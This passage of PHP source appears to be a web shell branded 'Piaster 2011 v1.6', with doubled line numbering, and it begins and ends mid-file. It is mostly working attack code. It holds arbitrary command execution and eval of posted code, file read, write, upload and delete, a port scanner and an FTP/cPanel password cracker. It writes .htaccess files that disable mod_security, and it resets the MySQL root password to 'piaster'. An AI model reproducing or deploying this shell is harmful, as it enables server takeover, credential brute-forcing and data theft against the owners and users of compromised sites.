  418. if(!@is_writable($file) && @!is_readable($file)) { return "un writable";}

    419. 

  419. }

    420. 

  420. function wdll_perm($file)

    421. 

  421. {

    422. 

  422. $mode=@fileperms($file);

    423. 

  423. $perms='';

    424. 

  424. $perms .= ($mode & 00400) ? 'r' : '-';

    425. 

  425. $perms .= ($mode & 00200) ? 'w' : '-';

    426. 

  426. $perms .= ($mode & 00100) ? 'x' : '-';

    427. 

  427. $perms .= ($mode & 00040) ? 'r' : '-';

    428. 

  428. $perms .= ($mode & 00020) ? 'w' : '-';

    429. 

  429. $perms .= ($mode & 00010) ? 'x' : '-';

    430. 

  430. $perms .= ($mode & 00004) ? 'r' : '-';

    431. 

  431. $perms .= ($mode & 00002) ? 'w' : '-';

    432. 

  432. $perms .= ($mode & 00001) ? 'x' : '-';

    433. 

  433. return $perms;

    434. 

  434. }

    435. 

  435. 

    436. 

  436. if(isset($_REQUEST["svff"]))

    437. 

  437. {$wdf = stripslashes(stripcslashes($_POST['svdi']));

    438. 

  438. $wdn = stripslashes(stripcslashes($_POST['cfed']));

    439. 

  439. $wdc = @fopen($wdf, "wb");

    440. 

  440. @fwrite($wdc, $wdn);

    441. 

  441. @fclose($wdc);}

    442. 

  442. 

    443. 

  443. function delf($dir)

    444. 

  444. {$dir = str_replace("\\", DIRECTORY_SEPARATOR, $dir);

    445. 

  445. if (@is_dir($dir)){if (substr($dir, -1) != DIRECTORY_SEPARATOR){$dir .= DIRECTORY_SEPARATOR;}}

    446. 

  446. elseif (@is_file($dir)){if (@unlink($dir)){echo "File: ".$dir." ................Removed<br>";}}

    447. 

  447. else{echo "Could not remove " . $dir . " OR File not Found";}}

    448. 

  448. 

    449. 

  449. function wdll_cmdf($cmdq)

    450. 

  450. {$res = '';if (!empty($cmdq)){if(function_exists('exec')){@exec($cmdq,$res);$res = @join("\n",$res);}elseif(function_exists('shell_exec')){$res = @shell_exec($cmdq);}elseif(function_exists('system')){@ob_start();@system($cmdq);$res = @ob_get_contents();@ob_end_clean();}elseif(function_exists('passthru')){@ob_start();@passthru($cmdq);$res = @ob_get_contents();@ob_end_clean();}elseif(@is_resource($f = @popen($cmdq,"r"))){$res = "";while(!@feof($f)) { $res .= @fread($f,1024); }@pclose($f);}}return $res;}

    451. 

  451. 

    452. 

  452. function fiindex($wdf)

    453. 

  453. {global $coded;

    454. 

  454.     $wdc = @fopen($wdf, "wb");

    455. 

  455. $wdn = str_replace("\\"," ",$coded);

    456. 

  456. @fwrite($wdc, $wdn);

    457. 

  457. if(@fclose($wdc))echo $wdf.".........Done<br>";

    458. 

  458. return true; }

    459. 

  459. function wdll_chf()

    460. 

  460. {@ini_restore("safe_mode");

    461. 

  461. @ini_restore("open_basedir");if(function_exists('exec')) return true;

    462. 

  462. elseif(function_exists('system')) return true;

    463. 

  463. elseif(function_exists('shell_exec')) return true;

    464. 

  464. elseif(function_exists('passthru')) return true;

    465. 

  465. else return false;}

    466. 

  466. 

    467. 

  467. function wdll_s1z($size, $digits = 2)

    468. 

  468. { $kb = 1024; $mb = 1024 * $kb; $gb= 1024 * $mb; $tb = 1024 * $gb;

    469. 

  469. switch (true){

    470. 

  470. case ($size == 0): { return "N/A"; }break;

    471. 

  471. case ($size < $kb): { return $size."B"; }break;

    472. 

  472. case ($size < $mb): { return @round($size / $kb,$digits)."KB"; }break;

    473. 

  473. case ($size < $gb): { return @round($size / $mb,$digits)."MB"; }break;

    474. 

  474. case ($size < $tb): { return @round($size / $gb,$digits)."GB"; }break;

    475. 

  475. case true: { return @round($size / $tb, $digits)."TB"; }break;

    476. 

  476. }}

    477. 

  477. function ps() {

    478. 

  478. 

    479. 

  479. $hot = htmlspecialchars($_POST['hot']);

    480. 

  480. $spt =intval(htmlspecialchars($_POST['spot']));

    481. 

  481. $ept = intval(htmlspecialchars($_POST['epot']));

    482. 

  482. echo "IP/Domain :&nbsp;".$hot;

    483. 

  483. echo "\nChecking...From &nbsp;".$spt."&nbsp;To&nbsp;".$ept."&nbsp;Ports\n";

    484. 

  484. for($x = $spt; $x <= $ept; $x++) {

    485. 

  485. $OK = @fsockopen($hot, $x, $errno, $errstr, 3);

    486. 

  486. if($OK) {

    487. 

  487. echo "[-] Port [".$x."] is open\n";}}echo "Port Scan Complete";}

    488. 

  488. 

    489. 

  489. function rf(){$temp=@tempnam('', "wd");$pos= stripslashes($_POST['cfil']);if(@copy("compress.zlib://".$pos, $temp)){$han = @fopen($temp, "r");$fct = @fread($han, @filesize($temp));@fclose($han);return $fct;@unlink($temp);} else {echo("File".$pos."dosen't exists or you don't haveaccess.");}}

    490. 

  490. 

    491. 

  491. if (!$error)

    492. 

  492. {if (function_exists('ini_get')){$umf=@ini_get("upload_max_filesize");}else {$umf =@get_cfg_var('upload_max_filesize');}

    493. 

  493. if (preg_match("/([0-9]+)K/i",$umf,$tem)) $umf=$tem[1]*1024;

    494. 

  494. if (preg_match("/([0-9]+)M/i",$umf,$tem)) $umf=$tem[1]*1024*1024;

    495. 

  495. if (preg_match("/([0-9]+)G/i",$umf,$tem)) $umf=$tem[1]*1024*1024*1024;}

    496. 

  496. 

    497. 

  497. 

    498. 

  498. $up_d = $path ;

    499. 

  499. 

    500. 

  500. if (!$error && isset($_REQUEST["upcom"]))

    501. 

  501. { if (@is_uploaded_file($_FILES["dfill"]["tmp_name"]) && ($_FILES["dfill"]["error"])==0)

    502. 

  502. {

    503. 

  503. $up_fn=str_replace(" ","_",$_FILES["dfill"]["name"]);

    504. 

  504. $up_fn=preg_replace("/[^_A-Za-z0-9-\.]/i",'',$up_fn);

    505. 

  505. $up_fp=str_replace("\\","/",$up_d."/".$up_fn);

    506. 

  506. if (file_exists($up_fn))

    507. 

  507. { echo ("<p class=\"error\">File $up_fn already exist! Delete and upload again!</p>\n");}

    508. 

  508. else if (!@move_uploaded_file($_FILES["dfill"]["tmp_name"],$up_fp))

    509. 

  509. { echo ("<p class=\"error\">Error moving uploaded file ".$_FILES["dfill"]["tmp_name"]." to the $up_fp</p>\n");

    510. 

  510. echo ("<p>Check the directory permissions for $up_d (must be 777)!</p>\n");icod();}else

    511. 

  511. { echo ("<p class=\"success\">Uploaded file saved as  $up_fn</p>\n");}}else

    512. 

  512. { echo ("<p class=\"error\">Error uploading file ".$_FILES["dfill"]["name"]."</p>\n");}}

    513. 

  513. 

    514. 

  514. 

    515. 

  515. echo "<div align = center>";

    516. 

  516. if (isset($_REQUEST["mkD"]))

    517. 

  517. {

    518. 

  518. if (file_exists(htmlspecialchars($_POST['mKd'])))

    519. 

  519. {echo "Make Dir: \"".htmlspecialchars($_POST['mKd'])."\" Dir alredy exists";}

    520. 

  520. elseif (!@mkdir(htmlspecialchars($_POST['mKd']),0777))

    521. 

  521. {echo "Make Dir \"".htmlspecialchars($_POST['mKd'])."\" access denied";}

    522. 

  522. else {echo "Dir :".htmlspecialchars($_POST['mKd'])."Created Done"; }

    523. 

  523. }

    524. 

  524. if (isset($_REQUEST["mkF"]))

    525. 

  525. {

    526. 

  526. if (file_exists($mkfile))

    527. 

  527. {echo "<b>Make File: \"".htmlspecialchars($_POST['mKf'])."\" File alredy exists";}

    528. 

  528. elseif (!@fopen(htmlspecialchars($_POST['mKf']), "wb"))

    529. 

  529. {echo "<b>Make File: \"".htmlspecialchars($_POST['mKf'])."\" access denied";}

    530. 

  530. else {echo "<b>File:".htmlspecialchars($_POST['mKf'])."Created Done";}

    531. 

  531. }

    532. 

  532. if(isset($_REQUEST["chfl"])){

    533. 

  533. $ftc = htmlspecialchars($_POST['cfx']);

    534. 

  534. $ftx = $_POST['cfy'];

    535. 

  535. echo $ftc.$ftx;

    536. 

  536. switch($_POST['ch'])

    537. 

  537. {

    538. 

  538. case 'cm':

    539. 

  539. if(@chmod($ftc,$ftx)){echo "File: &nbsp;".$ftc."&nbsp;CH to |&nbsp;".$ftx;}else echo "&nbsp;dosen't exists or you don't have

    540. 

  540. access";break;case 'co':

    541. 

  541. if(@chown($ftc,$ftx)){echo "File: &nbsp;".$ftc."&nbsp;CH to |&nbsp;".$ftx;}else echo "&nbsp;dosen't exists or you don't have

    542. 

  542. access";break;case 'cg':

    543. 

  543. if(@chgrp($ftc,$ftx)){echo "File: &nbsp;".$ftc."&nbsp;CH to |&nbsp;".$ftx;}else echo "&nbsp;dosen't exists or you don't have

    544. 

  544. access";break;case 'cu':if(@unlink($ftc)){echo "File:&nbsp; ".$ftc." &nbsp;Removed";}else echo "&nbsp;dosen't exists or you don't haveaccess";break;}}

    545. 

  545. 

    546. 

  546. if(isset($_REQUEST["upff"]))

    547. 

  547. {

    548. 

  548. $ft1 = htmlspecialchars($_POST['upf']);

    549. 

  549. $cod = htmlspecialchars($_POST['code']);

    550. 

  550. fmas($ft1,$cod);

    551. 

  551. }

    552. 

  552. function fmas($dir,$codm)

    553. 

  553. {

    554. 

  554. $han = @fopen($dir,"w+");

    555. 

  555. @fwrite($han, $codm);

    556. 

  556. if(@fclose($han)){echo "File&nbsp;".$ft1."&nbsp;Uploaded";}else {echo "Noop!";}

    557. 

  557. }

    558. 

  558. 

    559. 

  559. switch(true){

    560. 

  560. case(oP == '7'):{ mailr_s();}break;  

    561. 

  561. case(oP == '9'):{ccf();}break;

    562. 

  562. case(oP == '11'):{ htc();}break; 

    563. 

  563. case(oP =='12'):{zh();}break;

    564. 

  564. case(oP =='15'):{ sear();}break;

    565. 

  565. case (oP == '14'||isset($_REQUEST["crtty"])):{hashw();exit();}break;

    566. 

  566. case(oPp == '3'):{rs('cfed','141','22',$st='readonly');show_users();echo "</textarea>";}break;

    567. 

  567. 

    568. 

  568. case(oPp =='5'):{ sqlinj();}break;

    569. 

  569. case(oPp == '6'):{ ps5s();}break;

    570. 

  570. case(oPp == '7'):{ extr_i();}break;

    571. 

  571. 

    572. 

  572. 

    573. 

  573. case(isset($_REQUEST["evap"])):{

    574. 

  574. rs('cfed','141','22',$st='readonly');

    575. 

  575. $sd = stripcslashes($_POST['evac']);

    576. 

  576. @eval($sd);

    577. 

  577. echo "</textarea>";}break;

    578. 

  578. 

    579. 

  579. case(isset($_REQUEST["gotod"])):

    580. 

  580. {

    581. 

  581. rs('cmdm','141','22',$st='readonly');

    582. 

  582. $path =htmlspecialchars($_POST['goto']);

    583. 

  583. $dih = @opendir($path) or die("<br><b>Permision denied! Unable to open dir $path");

    584. 

  584. if(wdll_chf())echo wdll_cmdf('dir');else htmlspecialchars(htmlspecialchars(wdll_updir($dih, $path)));

    585. 

  585. echo "</textarea>";}break;

    586. 

  586. 

    587. 

  587. case(isset($_REQUEST["finds"])):

    588. 

  588. {$pathh =htmlspecialchars($_POST['goto']);

    589. 

  589. $fin = htmlspecialchars($_POST['fin']);echo "Find File = &nbsp;".$fin."&nbsp;&nbsp;Dir = &nbsp;".$path ;

    590. 

  590. rs('cmdm','141','22',$st='readonly');

    591. 

  591. $dih = @opendir($pathh) or die("<br><b>Permision denied! Unable to open dir $path");

    592. 

  592. echo wdll_nora($dih,$pathh,$fin);

    593. 

  593. echo "</textarea>";}break;

    594. 

  594. case (isset($_REQUEST["mvdi"])):{rs('cmdm','141','22',$st='readonly');

    595. 

  595. $cop = true;

    596. 

  596. $mvdir = htmlspecialchars($_POST['movd']);

    597. 

  597. $dst = htmlspecialchars($_POST['destd']);

    598. 

  598. if(!empty($_POST['rvm'])){$cop = false;}

    599. 

  599. md($mvdir,$dst,$cop);echo "</textarea>";

    600. 

  600. }break;

    601. 

  601. 

    602. 

  602.     

    603. 

  603. case(isset($_REQUEST["gip"])): 

    604. 

  604. {echo "<br>SQL INJECTION FOUNDER<br>";

    605. 

  605.     rs('cmdm','141','22',$st='readonly');

    606. 

  606.     echo sqlj_do($_REQUEST["ipp"]);

    607. 

  607.     echo "</textarea>";

    608. 

  608.     echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;

    609. 

  609. }break;

    610. 

  610. case(isset($_REQUEST["gfil"]) || isset($_REQUEST['gfils'])|| isset($_REQUEST['show'])):

    611. 

  611. {echo "<form name=\"savf\" action=\"".$php."\"method=\"post\">";

    612. 

  612. rs('cfed','141','22');

    613. 

  613.  if($_GET['show']) {$pos = @base64_decode(htmlspecialchars($_REQUEST['show'])); 

    614. 

  614.  

    615. 

  615.  if(function_exists('file_get_contents'))

    616. 

  616. {echo @file_get_contents($pos);}

    617. 

  617. elseif(function_exists('file'))

    618. 

  618. {echo @file($pos);}

    619. 

  619. elseif(function_exists('fread')){$x5 = @fopen($pos,'rw');$dc = @fread($x5,@filesize($pos));@fclose($x5);}

    620. 

  620. else {rf();} echo "</textarea>";inp('hidden','50','goto',path);

    621. 

  621. inp('hidden','50','svdi',$pos,'','<br>');

    622. 

  622. sub('svff','Save',$pr='<br>');exit;}

    623. 

  623. 

    624. 

  624. elseif(isset($_REQUEST['gfils'])){$pos = $HTTP_POST_VARS['cfils'];sqlf($pos);}

    625. 

  625.  else {$pos = $HTTP_POST_VARS['cfil'];}

    626. 

  626. 

    627. 

  627. switch($_REQUEST['getm']){ 

    628. 

  628. case('1'):{{$x5 = @fopen($pos,'rw');$dc = @fread($x5,@filesize($pos));@fclose($x5);echo $dc;}}break;

    629. 

  629. case('2'):{echo rf();}break;

    630. 

  630. case('3'):{if(function_exists('file_get_contents')){echo @file_get_contents($pos);}}break;}

    631. 

  631. 

    632. 

  632. echo "</textarea>";

    633. 

  633. inp('hidden','50','goto',path);

    634. 

  634. inp('hidden','50','svdi',$pos,'','<br>');

    635. 

  635. sub('svff','Save',$pr='<br>');}break;

    636. 

  636. case(isset($_REQUEST['cmdr'])):{

    637. 

  637. rs('cmdm','141','22',$st='readonly');

    638. 

  638. $pos = $_POST['cmde'];

    639. 

  639. echo  wdll_cmdf($pos);

    640. 

  640. echo "</textarea>";}break;

    641. 

  641. case(isset($_REQUEST['aliA'])) :{

    642. 

  642.     $alis = $_REQUEST['alI'];

    643. 

  643. define('dir',$alis);

    644. 

  644. echo "Command: &nbsp;".$alis."<br>";

    645. 

  645. rs('cmdm','141','22',$st='readonly');

    646. 

  646. echo wdll_cmdf($alis);

    647. 

  647. echo "</textarea>";}break;

    648. 

  648. case(isset($_REQUEST['spots'])):{

    649. 

  649. rs('cmdm','141','22',$st='readonly');

    650. 

  650. ps();

    651. 

  651. 

    652. 

  652. echo "</textarea>";

    653. 

  653. echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;}break;

    654. 

  654. 

    655. 

  655. case(isset($_REQUEST['crcf'])):{if(!curc())die("Curl Not Avilable on this Server Can.t complete opration!");else{

    656. 

  656. $prt=$_REQUEST['port'];

    657. 

  657. $us=$_REQUEST['uses'];

    658. 

  658. $pa=$_REQUEST['pass'];

    659. 

  659. $sit=$_REQUEST['site'];

    660. 

  660. $crt=$_REQUEST['crt'];

    661. 

  661. if($crt == ""){echo "\nERORR: Chois Crack Type Cpanel OR FTP ?\n";

    662. 

  662. echo "<a href=\"javascript: history.go(-1)\">Back</a>";die;} 

    663. 

  663. echo "Crack Type:&nbsp;".$_REQUEST['crt']."\n[~] Cracking Process Started, Please Wait ...\n";

    664. 

  664. rs('cmds','141','22',$st='readonly');

    665. 

  665. $us=explode("\n",$us);

    666. 

  666. $pa=explode("\n",$pa);

    667. 

  667. echo "Crack Type:&nbsp;".$_REQUEST['crt']."\n[~] Cracking Process Started, Please Wait ...\n";

    668. 

  668. if($sit == ""){$sit = "localhost";}

    669. 

  669. if($prt == ""){$prt = "2082";}

    670. 

  670. foreach ($us as $u){$usr = trim($u);

    671. 

  671. foreach ($pa as $p ){$pwd = trim($p);

    672. 

  672. if($crt == "FTP"){echo fc($sit,$usr,$pwd,$tl);}

    673. 

  673. if ($crt == "Cpanel"){echo cc($sit,$prt,$usr,$pwd,$tl);}}}

    674. 

  674. echo "\n[~] Cracking Process Done!\n";

    675. 

  675. echo "</textarea>";unset($crcf);}}break;

    676. 

  676. 

    677. 

  677. case(isset($_REQUEST['dhtc'])):{

    678. 

  678. $ctc = htmlspecialchars($_POST['htc']);

    679. 

  679. $clc = htmlspecialchars($_POST['mhtc']);

    680. 

  680. rs('cmds','141','22',$st='readonly');

    681. 

  681. switch($_REQUEST['htcc']){

    682. 

  682. case('ch'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,$clc);if(@fclose($hd)){echo "[+] Htaccess Created!";}}break;

    683. 

  683. case('cpp'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"AddType application/x-httpd-php4 .php");if(@fclose($hd)){echo "[+] Htaccess Created!";}}break;

    684. 

  684. case('cpe'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"<FileMatch '^.*\.$ctc>\r\nSetHandler application/x-httpd-php\r\n</FilesMatch>");if(@fclose($hd)){echo "[+] Htaccess Created!";}}break;

    685. 

  685. case('cre'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"Options ExecCGI\r\nAddType application/x-httpd-cgi .$ctc\r\nAddHandler cgi-script .".$ctc);if(fclose($hd)){echo "[+] Htaccess Created!";}}break;

    686. 

  686. case('fis'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"<IfModule mode_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>");if(fclose($hd)){echo "[+] Htaccess Created!";}}break;

    687. 

  687. case('cpi'):{$hd = @fopen("php.ini","w+");@fwrite($hd,$clc);if(@fclose($hd)){echo "[+] PHP.ini Created!";}}break;}

    688. 

  688. 

    689. 

  689. echo "</textarea>";unset($dhtc);}break;

    690. 

  690. case(isset($_REQUEST['zhsd'])): {rs('cmds','141','18',$st='readonly');

    691. 

  691. if(!curc())die("Curl Not Avilable on this Server Can.t complete opration!");else{

    692. 

  692. $hnam = htmlspecialchars($_POST['hname']);

    693. 

  693. $htype = htmlspecialchars($_POST['htype']);

    694. 

  694. $hwhy =  htmlspecialchars($_POST['hwhy']);

    695. 

  695. $hsts =  htmlspecialchars($_POST['sts']);

    696. 

  696. $hdo= explode("\n", $hsts);  

    697. 

  697. foreach ($hdo as $uu){$sitss = trim($uu);

    698. 

  698. echo zhsr($hnam,$htype,$hwhy,$sitss);}

    699. 

  699. }echo "</textarea>";unset($zhsd);}break;

    700. 

  700. 

    701. 

  701. case (isset($_REQUEST["ext_si"])) : {

    702. 

  702.     rs('cmds','141','22',$st='readonly');

    703. 

  703.     extr_si();  

    704. 

  704.  echo "</textarea>"; echo "<br><br><a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>";ft();exit();}break;

    705. 

  705. 

    706. 

  706. case (isset($_REQUEST['urlup'])):

    707. 

  707. {rs('cmds','141','22',$st='readonly');

    708. 

  708. $url =  htmlspecialchars($_POST['urlf']);

    709. 

  709. $file =  htmlspecialchars($_POST['localf']);

    710. 

  710. $pathf =  htmlspecialchars($_POST['pathf']);

    711. 

  711. if(fetchFilef($url,$pathf,$file)) {echo "[+]Uploaded file saved as ". path.'/'.$file;}else

    712. 

  712. {echo "[+] Check the directory permissions for (must be 777)!\nor \nCheck URL!";}

    713. 

  713. echo "</textarea>";unset($urlup);}break;

    714. 

  714. 

    715. 

  715. case(isset($_REQUEST['crypfl'])||isset($_REQUEST['crypo'])):

    716. 

  716. {rs('ccrt' ,'141','22',$st='');

    717. 

  717. if(isset($_REQUEST['crypo']))

    718. 

  718. $file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!");

    719. 

  719. $meth=$_POST['crypt'];if ($meth=="1") {echo stripcslashes(md5(@fread($file,100000)));} elseif ($meth=="2") {echo stripcslashes(crypt(@fread($file,100000)));}

    720. 

  720. elseif ($meth=="3") {echo stripcslashes(sha1(@fread($file,100000)));}

    721. 

  721. elseif ($meth=="4") {echo stripcslashes(crc32(@fread($file,100000)));}

    722. 

  722. elseif ($meth=="5") {echo stripcslashes(urlencode(@fread($file,100000)));}

    723. 

  723. elseif ($meth=="6") {echo stripcslashes(urldecode(@fread($file,100000)));}

    724. 

  724. elseif ($meth=="7") {echo stripcslashes(@base64_encode(@fread($file,100000)));}

    725. 

  725. elseif ($meth=="8") {echo stripcslashes(@base64_decode(@fread($file,100000)));}

    726. 

  726. echo "</textarea><div align=left>";echo '<br><form enctype="multipart/form-data"  method="post"><b>File:<br><input name="userfile" type="file"><br><br><input type="submit" value="Crypt" name="crypo"><br><br><hr><input type=radio name=crypt value=1>md5();<br><hr><input type=radio name=crypt value=2>crypt();<br><hr><input type=radio name=crypt value=3>sha1();<br><hr><input type=radio name=crypt value=4>crc32();<br><hr><input type=radio name=crypt value=5>urlencode();<br><hr><input type=radio name=crypt value=6>urldecode();<br><hr><input type=radio name=crypt value=7>base64_encode();<br><hr><input type=radio name=crypt value=8>base64_decode();<br>';echo "<hr><div align =\"center\"><br><br><a href=\"javascript: history.go(-1)\">Back</a>";echo "<p align=\"center\"><a href=\"".$php."\">Home</a><br></p>";

    727. 

  727. exit;

    728. 

  728. }break;

    729. 

  729. 

    730. 

  730. case(oP == '8'):{ indexc();exit();}break;

    731. 

  731. case(oPp == '1'):{ vbsql();exit();}break;

    732. 

  732. case(oPp == '2'):{ backc();}break;

    733. 

  733. case(oPp == '4' || $_REQUEST['piasS']):{

    734. 

  734. 

    735. 

  735. 

    736. 

  736. if($win) {

    737. 

  737. 	define('STDIN',@fopen("php://stdin","r"));

    738. 

  738. 	$input = trim(@fgets(STDIN,256));

    739. 

  739. 	$input = ereg_replace('\"', "\\\"", $input);

    740. 

  740. 	$input = ereg_replace('\'', "\'", $input); 

    741. 

  741. 

    742. 

  742. 	echo "| |<a href=\"".$php."\">Home</a></p>";

    743. 

  743.    if(wdll_chf()) wdll_cmdf("net stop mysql");

    744. 

  744. 	if(wdll_chf()) wdll_cmdf('start /b C:\AppServ\MySQL\bin\mysqld-nt.exe --skip-grant-tables --user=root');

    745. 

  745. 	if(wdll_chf()) wdll_cmdf("C:\AppServ\MySQL\bin\mysql -e \"update mysql.user set PASSWORD=PASSWORD('piaster') where user = 'root';\"");

    746. 

  746. 	if(wdll_chf()) {wdll_cmdf("C:\AppServ\MySQL\bin\mysqladmin -u root shutdown"); 

    747. 

  747.     	echo '<br> Please wait ................................... Goodluck ...Win phpMyAdmin Hacked :: <br>USER: root & PASSWORD: piaster<br><br><br><p align="center"><a href="javascript: history.go(-1)">Back</a>';}else echo " I think function disable or Path: 'C:\AppServ\MySQL ' not found on this server edit Path..Bug only in AppServ about www.appservnetwork.com";

    748. 

  748. 	sleep(3);

    749. 

  749. 	if(wdll_chf()) wdll_cmdf("net start mysql");} 

    750. 

  750. 

    751. 

  751. if(!$win) {

    752. 

  752.     echo '<form action="#" method="post">';

    753. 

  753.     inp('input','20','dbu',$_REQUEST['dbu'],$ti='user',$pr='');

    754. 

  754.     inp('input','20','dbp',$_REQUEST['dbp'],$ti='password',$pr='');

    755. 

  755.     inp('input','20','dbh',$_REQUEST['dbh'],$ti='host',$pr='');

    756. 

  756.     sub('piasS','GO',$pr='');

    757. 

  757.     echo '</form>';

    758. 

  758. 

    759. 

  759. 

    760. 

  760. if(isset($_REQUEST['piasS'])){

    761. 

  761.     

    762. 

  762. $dbu = $_REQUEST['dbu'];

    763. 

  763. $dbp = $_REQUEST['dbp'];

    764. 

  764. $dbh = $_REQUEST['dbh']? $_REQUEST['dbh'] : 'localhost';

    765. 

  765. 

    766. 

  766. $conn = @mysql_connect($dbh, $dbu, $dbp);

    767. 

  767. $select = @mysql_select_db('mysql', $conn);

    768. 

  768. if (!$select) {

    769. 

  769. echo @mysql_error();}

    770. 

  770. 

    771. 

  771. $t1 = "UPDATE mysql.user set PASSWORD=PASSWORD('piaster') where user = 'root';";

    772. 

  772. $go1 = @mysql_query( $t1 , $conn);

    773. 

  773. 

    774. 

  774. if($go1){echo '<center><br>Goodluck ... Lunix phpMyAdmin Hacked :: Now Wait Until Mysql Restart and Come back with USER: root & PASSWORD: piaster<br><br><br><p align="center"><a href="javascript: history.go(-1)">Back</a></p></center>';

    775. 

  775. echo "| |<a href=\"".$php."\">Home</a>";}

    776. 

  776. }}exit();}break;

    777. 

  777. 

    778. 

  778. case(isset($_REQUEST['vbsq'])):{ vb_opt();exit();}break;

    779. 

  779. 

    780. 

  780. case(oP == 6):{

    781. 

  781. //echo "<hr color= #993333>";

    782. 

  782. rs('cmds','120','20',$st='readonly');

    783. 

  783. if(wdll_chf()){ if(!$win){echo wdll_cmdf('ls -la');}else echo wdll_cmdf('dir');}else

    784. 

  784. {$dih = @opendir(path) or die("<br><b>Permision denied! Unable to open dir $path");

    785. 

  785. wdll_updir($dih, path);}

    786. 

  786. echo "</textarea>"; }break;

    787. 

  787. default:{echo "<font color = orange>

    788. 

  788. Hello <br>

    789. 

  789. I hope you will find useful tool to perform your job properly<br>

    790. 

  790. Also heal myself if your use of it in harm to people <br>

    791. 

  791. Always remember<br>

    792. 

  792. Easy Come Easy Go.<br>

    793. 

  793. Piaster 2011 v1.6<br>

    794. 

  794. ";}//---------------------------------

    795. 

  795. }

    796. 

  796. echo " <table>";

    797. 

  797. 

    798. 

  798. if($_REQUEST['wbp']){bbc($_REQUEST['wbcp']);}

    799. 

  799. if($_REQUEST['lbg']){bbc($_REQUEST['lbcp']);}

    800. 

  800. if($_REQUEST['bpg'] ){bbc($_REQUEST['bcpo'],$_REQUEST['bcip']);}

    801. 

  801. 

    802. 

  802. echo "<br>" ;sl(); 

    803. 

  803. 

    804. 

  804. echo "<br><br>";

    805. 

  805. 

    806. 

  806. echo "<table><tr><td>";

    807. 

  807. //echo "<hr color= #993333>";

    808. 

  808. cm_ge(); echo "</td><td>";

    809. 

  809. //echo "<hr color= #993333>";

    810. 

  810. cm_gee();echo "</td></tr></table>";echo "<hr color= #993333>";

    811. 

  811. if (oP == '13' ||  !empty($_POST['evac'])) {echo eva();}

    812. 

  812. else db_lg() ;echo "<br>";urlp();echo "<hr color = #993333><br>"; movdr();

    813. 

  813. echo "<hr color = #993333></div>";

    814. 

  814. echo "</table>"; 

    815. 

  815. function mailr_s(){

    816. 

  816. echo "<form name=\"savf\" action=\"".$php."\"method=\"post\">";

    817. 

  817. inp('text','30','mnam',$_REQUEST['mnam'],'Your name: ','');

    818. 

  818. inp('text','30','mmail',$_REQUEST['mmail'],'Your e-mail: ','');

    819. 

  819. inp('text','30','mito',$_REQUEST['mito'],'To: ','');

    820. 

  820. inp('text','30','msubj',$_REQUEST['msubj'],'Subject: ','<br>');

    821. 

  821. are('mmsg',$_REQUEST['mmsg'],'80','8',$st ='',$pr ='<br><br><br><br>'); 

    822. 

  822. sub('mSendm','Send');}

    823. 

  823. function sear(){

    824. 

  824. echo "<br><br><table bgcolor=black border = 1><tr><td><form action=\"".$php."\"method=\"post\">";

    825. 

  825. echo 'Path<br>';

    826. 

  826. inp('text','63','serdir',path,'','<br>');

    827. 

  827. echo '<br>';

    828. 

  828. echo 'Search DIR<br>';

    829. 

  829. inp('text','32','sedir','include','','<br>');

    830. 

  830. inp('radio','10','sea','cedr','Directory only','<br>');

    831. 

  831. echo '<br><div align = left>';

    832. 

  832. echo '<br>Key word';

    833. 

  833. are('searcc','','60','5',$pr ='<br>',$id='');

    834. 

  834. echo '<br>';

    835. 

  835. inp('radio','10','sea','cepr','Preg_Match &nbsp; (Regular expressions)(into file)','<br>');

    836. 

  836. inp('radio','10','sea','cewo','words only &nbsp; (into file)','<br>');

    837. 

  837. inp('radio','10','sea','cefn','File Name &nbsp; (same key word ex: config.php)','<br>');

    838. 

  838. inp('radio','10','sea','cefi','File Name &nbsp; (include yo key word)(min char = 3)','<br>');//

    839. 

  839. inp('radio','10','sea','cefm','File Mode &nbsp; (like 666 ,777 ...etc)','<br>');

    840. 

  840. inp('radio','10','sea','ceft','File Type &nbsp; (like php,txt ...etc)','<br><br>');

    841. 

  841. echo '<div align = center>';

    842. 

  842. sub('search','Search');

    843. 

  843. echo '</form></div></ts></tr></table>';

    844. 

  844. echo "<br><a href=\"".$php."\">Home</a><p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;}

    845. 

  845. 

    846. 

  846. function hashw()

    847. 

  847. { $crtf = $_POST['crrt'];echo "<form  action=\"".$php."\"method=\"post\">";

    848. 

  848. are('crrt',stripcslashes($crtf),'80','8','<br>',$id='');echo "<br><br><br><table width = \"100\"  border=1 bgcolor =\"000000\" ><tr>";echo '<td>md5:</td><td>';

    849. 

  849. inp('text','80','cc',stripcslashes(@md5($crtf)),'','<br>');echo "</td></tr>";echo '<td>crypt:</td><td>';

    850. 

  850. inp('text','80','cc',stripcslashes(@crypt($crtf)),'','<br>');echo "</td></tr>";echo '<td>sha1:</td><td>';

    851. 

  851. inp('text','80','cc',stripcslashes(@sha1($crtf)),'','<br>'); echo "</td></tr>";echo '<td>crc32:</td><td>';

    852. 

  852. inp('text','80','cc',stripcslashes(@crc32($crtf)),'','<br>'); echo "</td></tr>";echo '<td>urlencode:</td><td>';

    853. 

  853. inp('text','80','cc',stripcslashes(@urlencode($crtf)),'','<br>'); echo "</td></tr>";echo '<td>urldecode:</td><td>';

    854. 

  854. inp('text','80','cc',stripcslashes(@urldecode($crtf)),'','<br>');echo "</td></tr>";echo '<td>base64_encode:</td><td>';

    855. 

  855. inp('text','80','cc',stripcslashes(@base64_encode($crtf)),'','<br>'); echo '</td>';echo "</td></tr>";echo '<td>base64_decode:</td><td>';

    856. 

  856. inp('text','80','cc',stripcslashes(@base64_decode($_POST['crrt'])),'','<br>'); echo "</td></tr>";echo '</tr>';echo '<br><br>';

    857. 

  857. echo '</td>';echo "</td></tr>";echo '<td>dec2hex:</td><td>';

    858. 

  858. $c = strlen($crtf); for($i=0;$i<$c;$i++) { $hex = dechex(ord($crtf[$i])); if ($crtf[$i] == "&") 

    859. 

